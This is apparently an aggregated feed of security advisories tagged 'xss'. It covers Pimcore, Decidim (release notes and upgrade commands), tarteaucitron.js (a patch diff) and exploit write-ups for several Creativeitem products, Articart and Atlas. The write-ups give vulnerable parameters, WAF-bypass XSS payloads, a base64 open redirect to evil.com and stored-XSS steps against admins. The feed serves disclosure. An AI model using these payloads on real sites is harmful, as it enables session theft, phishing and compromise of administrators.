Pimcore Admin Classic Bundle provides a Backend UI for Pimcore based on the ExtJS framework. An admin who has not setup two factor authentication before is vulnerable for this attack, without need for any form of privilege, causing the application to execute arbitrary scripts/HTML content. This vulnerability has been patched in version 1.0.3.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

Email Address

Password

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-37280: Fix xss in admin login 2fa setup page by aryaantony92 · Pull Request #147 · pimcore/admin-ui-classic-bundle

Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability

CVE-2023-33171

Decidim is a participatory democracy framework, written in Ruby on Rails, originally developed for the Barcelona City government online and offline participation website. The processes filter feature is susceptible to Cross-site scripting. This allows a remote attacker to execute JavaScript code in the context of a currently logged-in user. An attacker could use this vulnerability to make other users endorse or support proposals they have no intention of supporting or endorsing. The problem was patched in version 0.27.3 and 0.26.6.


**Security fixes**

This release addresses several security issues, including the following:

*   CVE-2023-32693
*   CVE-2023-34089
*   CVE-2023-34090

The details regarding the security vulnerability will be published on July 11th 2023, which is two months after the release date of this version. For more information, please refer to our Security Policy.

We highly recommend updating to this version as soon as possible to ensure the security of your system.

**Upgrade notes**

As usual, we recommend that you have a full backup, of the database, application code and static files.

To update, follow these steps:

1.  Update your Gemfile:

gem "decidim", "0.27.3"
gem "decidim-dev", "0.27.3"

2.  Run these commands to upgrade and make sure you get all the latest migrations:

bundle update decidim
bin/rails decidim:upgrade
bin/rails db:migrate

And then follow the steps and commands detailed in these notes.

**Changelog****Added**

Nothing.

**Changed**

*   **decidim-core**: Backport 'Improve the link handling' to v0.27 #10735

**Fixed**

*   **decidim-core**: Backport 'Fix sass syntax errors' to v0.27 #10445
*   **decidim-participatory processes**: Backport 'Fix: Ransack returns results for multiple organizations' to v0.27 #10447
*   **decidim-forms**: Backport 'Fix survey conditional display' to v0.27 #10448
*   **decidim-core**: Backport 'Fix pipeline asset router bug regarding for manifests containing the host' to v0.27 #10449
*   **decidim-budgets**, **decidim-core**, **decidim-elections**, **decidim-proposals**: Backport 'Fix updating budget projects or other records containing attachments' to v0.27 #10451
*   **decidim-budgets**, **decidim-core**, **decidim-elections**, **decidim-proposals**: Backport 'Fix styling bug with the remove/close buttons for attachments' to v0.27 #10452
*   **decidim-admin**: Backport 'Fix deleting all content from help section triggers error' to v0.27 #10453
*   **decidim-admin**: Backport 'Fix deprecation warning in the html5sortable NPM package' to v0.27 #10455
*   **decidim-proposals**: Backport 'Fix participatory texts sections required field indicators' to v0.27 #10527
*   **decidim-initiatives**: Backport 'Remove email from initiative's print page' to v0.27 #10535
*   **decidim-core**, **decidim-participatory processes**: Backport 'Fix destroying scope types that have been associated with processes' to v0.27 #10530
*   **decidim-meetings**: Backport 'Fix meeting form for admin to update registrations\_enabled field' to v0.27 #10531
*   **decidim-admin**, **decidim-core**, **decidim-system**: Backport 'Remove actions from admin and blocked users' to v0.27 #10536
*   **decidim-core**: Backport 'Make buttons respect the organizations' primary color' to v0.27 #10546
*   **decidim-proposals**: Backport 'Export proposal body without HTML tags' to v0.27 #10539
*   **decidim-proposals**: Backport 'Fix: Set required to proposal limit field in Proposal component' to v0.27 #10549
*   **decidim-core**: Backport 'Fix promoted admin password change right after registration' to v0.27 #10540
*   **decidim-admin**, **decidim-assemblies**, **decidim-conferences**, **decidim-core**, **decidim-elections**, **decidim-initiatives**, **decidim-participatory processes**, **decidim-proposals**, **decidim-system**: Backport 'Fix dynamic upload file field required indicator + make option naming consistent' to v0.27 #10541
*   **decidim-debates**, **decidim-meetings**, **decidim-proposals**: Backport 'Fix iframes stripped from admin entered proposals, meetings and debates' to v0.27 #10558
*   **decidim-forms**: FIx sorting question choice validations #10227
*   Fix missing documentation link #10621
*   **decidim-comments**: Backport 'Fix for exporting deleted and hidden comments' to v0.27 #10658
*   **decidim-proposals**: Backport 'Fix for exporting hidden moderated proposals' to v0.27 #10661
*   **decidim-proposals**: Backport 'Fix flaky collaborative drafts specs' to v0.27 #10667
*   **decidim-admin**: Backport 'Change I18n captions on moderation module' to v0.27 #10662
*   **decidim-proposals**: Backport 'Fix empty proposals component configuration limits' to v0.27 #10666
*   **decidim-admin**, **decidim-core**, **decidim-elections**, **decidim-meetings**: Backport 'Fix Redundant notifications when a component is (re)published' to v0.27 #10736
*   **decidim-core**, **decidim-debates**, **decidim-meetings**, **decidim-proposals**: Backport 'User role is defined for digest notifications to scope translations correctly' to v0.27 #10738
*   **decidim-initiatives**: Backport 'Fix initiatives display when not initialized' to v0.27 #10742
*   **decidim-admin**, **decidim-assemblies**, **decidim-blogs**, **decidim-budgets**, **decidim-conferences**, **decidim-consultations**, **decidim-core**, **decidim-elections**, **decidim-forms**, **decidim-initiatives**, **decidim-meetings**, **decidim-pages**, **decidim-proposals**, **decidim-sortitions**: Backport 'Fix editor toolbar' to v0.27 #10743
*   **decidim-participatory processes**: Backport 'Fix Empty participatory process group is created when importing a PP …' to v0.27 #10732
*   **decidim-assemblies**, **decidim-blogs**, **decidim-budgets**, **decidim-consultations**, **decidim-debates**, **decidim-elections**, **decidim-forms**, **decidim-pages**, **decidim-participatory processes**, **decidim-proposals**, **decidim-sortitions**: Backport 'Fix Video embeds are not shown in short\_description field' to v0.27 #10745
*   **decidim-consultations**: Backport 'Add missing translations in consultations' to v0.27 #10790
*   **decidim-budgets**, **decidim-proposals**: Backport 'Supports no longer visible for linked proposals if supports are disabled' to v0.27 #10777
*   **decidim-participatory processes**: Backport 'Add metrics, statistics and process type to the participatory process importer' to v0.27 #10770
*   Backport 'Fix menu spec after #9928' to v0.27 #10769
*   **decidim-meetings**: Backport 'Fix meetings calendar filtering' to v0.27 #10772
*   **decidim-initiatives**: Backport 'Fix initiative creation missing form fields' to v0.27 #10785
*   **decidim-initiatives**: Backport 'Fix edge case in initiative creation' to v0.27 #10784
*   **decidim-proposals**: Backport 'Fix notifications for the proposal answers importer' to v0.27 #10787
*   **decidim-initiatives**: Backport 'Fix edit form in intitiatives' to v0.27 #10781
*   **decidim-comments**: Backport 'Fix missing hide and show comments by threads' to v0.27 #10779
*   **decidim-core**: Backport 'Fix ImageMagick errors when trying to identify image dimensions' to v0.27 #10556
*   **decidim-participatory processes**: Backport 'Fix issues with unexpected date filter params for the process listing' to v0.27 #10807
*   **decidim-initiatives**: Backport 'Fix initiative creation without fallback hash attribute' to v0.27 #10817
*   **decidim-core**: Backport 'Fix: Inconsistent datetime distance\_in\_words translations' to 0.27 #10793
*   **decidim-core**: Backport 'Refactor attachment title' to v0.27 #10664
*   **decidim-budgets**: Backport 'Fix budget summary mail when a scope is defined and enabled' to v0.27 #10838
*   **decidim-core**, **decidim-proposals**: Backport 'Fix File attachments in proposals' to v0.27 #10827
*   **decidim-initiatives**: Backport 'Change the participant initiatives editor toolbars type' to v0.27 #10844

**Removed**

Nothing.

**Developer improvements**

Nothing.

**Internal**

*   Backport 'Switch to the official Codecov action for CI' to v0.27 #10462
*   **decidim-proposals**: Backport 'Fix flaky collaborative drafts specs' to v0.27 #10667
*   Backport 'Fix menu spec after #9928' to v0.27 #10769
*   Backport 'Remove parallel spec from the core system specs' to v0.27 #10843

**Previous versions**

Please check release/0.26-stable for previous changes.

CVE-2023-34089: Release v0.27.3 · decidim/decidim

Mastery LMS version 1.2 suffers from a cross site scripting vulnerability.

    # Exploit Title: Mastery LMS 1.2 - Reflected XSS# Exploit Author: CraCkEr# Date: 09/07/2023# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/mastery/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## DescriptionAllow Attacker to inject malicious code into website, give ability to steal sensitiveinformation, manipulate data, and launch additional attacks.Path: /browseGET parameter 'search' is vulnerable to XSShttps://website/browse?search=[XSS]GET parameter 'featured' is vulnerable to XSShttps://website/browse?featured=[XSS]GET parameter 'recommended' is vulnerable to XSShttps://website/browse?recommended=[XSS]GET parameter 'skill' is vulnerable to XSShttps://website/browse?skill=[XSS]Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script> XSS Filter Bypass : "><script>alert(1)</script>[-] Done

Mastery LMS 1.2 Cross Site Scripting

Academy LMS version 5.15 suffers from a cross site scripting vulnerability.

    # Exploit Title: Academy LMS 5.15 - Reflected XSS# Exploit Author: CraCkEr# Date: 09/07/2023# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/academy/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## DescriptionAllow Attacker to inject malicious code into website, give ability to steal sensitiveinformation, manipulate data, and launch additional attacks.Path: /home/coursesGET parameter 'sort_by' is vulnerable to XSShttps://website/home/courses?category=photoshop&price=all&level=all&language=all&rating=all&sort_by=[XSS]Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script> XSS Filter Bypass : ldt4d"><ScRiPt>alert(1)</ScRiPt>nuydd[-] Done

Academy LMS 5.15 Cross Site Scripting

Articart version 2.0.1 suffers from cross site scripting and open redirection vulnerabilities.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : http://articart-demo.livelyworks.net/                                      ││  Vendor   : livelyworks                                                                ││  Software : Articart 2.0.1                                                             ││  Vuln Type: Reflected XSS - Open Redirect using base64 Encoding                        ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka           CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘## RXSSPath: /items/searchGET 'search_term' parameter is vulnerable to RXSShttps://website/items/search?search_term=123zr77l%22%3e%3cscript%3ealert(1)%3c%2fscript%3esadj4## Open RedirectAn Attacker can use it to redirect a victim to an arbitrary website. This is a powerful tool inphishing campaigns, as it allows hiding the malicious webpage behind a linkPath: /change-language/de_DEGET 'redirectTo' parameter is vulnerable to Open Redirect using base64 encodinghttps://website/change-language/de_DE?redirectTo=aHR0cHM6Ly93d3cuZXZpbC5jb20vaHR0cHM6Ly93d3cuZXZpbC5jb20v = https://www.evil.com/[-] Done

Articart 2.0.1 Cross Site Scripting / Open Redirection

Atlas Business Directory Listing version 2.13 suffers from cross site scripting vulnerabilities.

    # Exploit Title: Atlas Business Directory Listing 2.13 - Reflected XSS# Exploit Author: CraCkEr# Date: 09/07/2023# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/atlas/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## DescriptionThe attacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /atlas/home/filter_listingsGET parameter 'price-range' is vulnerable to XSShttps://website/atlas/home/filter_listings?category=family-style&&amenity=good-for-kids&&city=marseille&&price-range=790[XSS]&&video=1&&status=openPath: /atlas/home/searchGET parameter 'search_string' is vulnerable to XSShttps://website/atlas/home/search?search_string=[XSS]&selected_city_id=&selected_category_id=11Simple XSS Payload (Blocked by WAF) : <script>alert(1)</script> XSS Filter Bypass : "><script>alert(1)</script>[-] Done

Atlas Business Directory Listing 2.13 Cross Site Scripting

Ekushey Project Manager CRM version 5.0 suffers from a persistent cross site scripting vulnerability.

    # Exploit Title: Ekushey Project Manager CRM 5.0 - Stored XSS# Exploit Author: CraCkEr# Vendor: Creativeitem# Vendor Homepage: https://creativeitem.com/# Software Link: https://demo.creativeitem.com/ekushey/# Tested on: Windows 10 Pro# Impact: Manipulate the content of the site ## DescriptionAllow Attacker to inject malicious code into website, give ability to steal sensitiveinformation, manipulate data, and launch additional attacks.Path: /ekushey/index.php/client/message/message_read/xxxxxxxx[random-msg-hash]POST parameter 'message' is vulnerable to XSS-----------------------------------------------POST /ekushey/index.php/client/message/send_reply/8c8936d3 HTTP/2-----------------------------------------------Content-Disposition: form-data; name="message"<script>alert(1)</script>-----------------------------------------------## Steps to Reproduce:1. Login as (Client)2. Go to [Message] on this Path: https://website/ekushey/index.php/client/message3. Select any Person to MSG (Clients or ADMINS]4. Inject your XSS Payload in [Replay Message]5. Send6. XSS Fired on Local Browser7. When ADMIN visit [Dashboard] or any section in Administration Panel on this Path : https://website/ekushey/index.php/admin/dashboard8. XSS Will Fire and Executed on his Browser[-] Done

Ekushey Project Manager CRM 5.0 Cross Site Scripting

Cross-site Scripting (XSS) - Stored in GitHub repository amauric/tarteaucitron.js prior to v1.13.1.

**tarteaucitron.js vulnerable to Cross-site Scripting**

Moderate severity GitHub Reviewed Published Jul 11, 2023 to the GitHub Advisory Database • Updated Jul 11, 2023

GHSA-f44m-65h3-99vc: tarteaucitron.js vulnerable to Cross-site Scripting

Expand Up

@@ -2083,7 +2083,13 @@ var tarteaucitron = {

return elem.getAttribute('height') || elem.clientHeight;

},

"getElemAttr": function (elem, attr) {

return elem.getAttribute('data-' + attr) || elem.getAttribute(attr);

var attribute \= elem.getAttribute('data-' + attr) || elem.getAttribute(attr);

  

if (typeof attribute \=== 'string') {

return tarteaucitron.fixSelfXSS(attribute);

}

  

return "";

},

"addClickEventToId": function (elemId, func) {

tarteaucitron.addClickEventToElement(document.getElementById(elemId), func);

Expand Down

Tag

#xss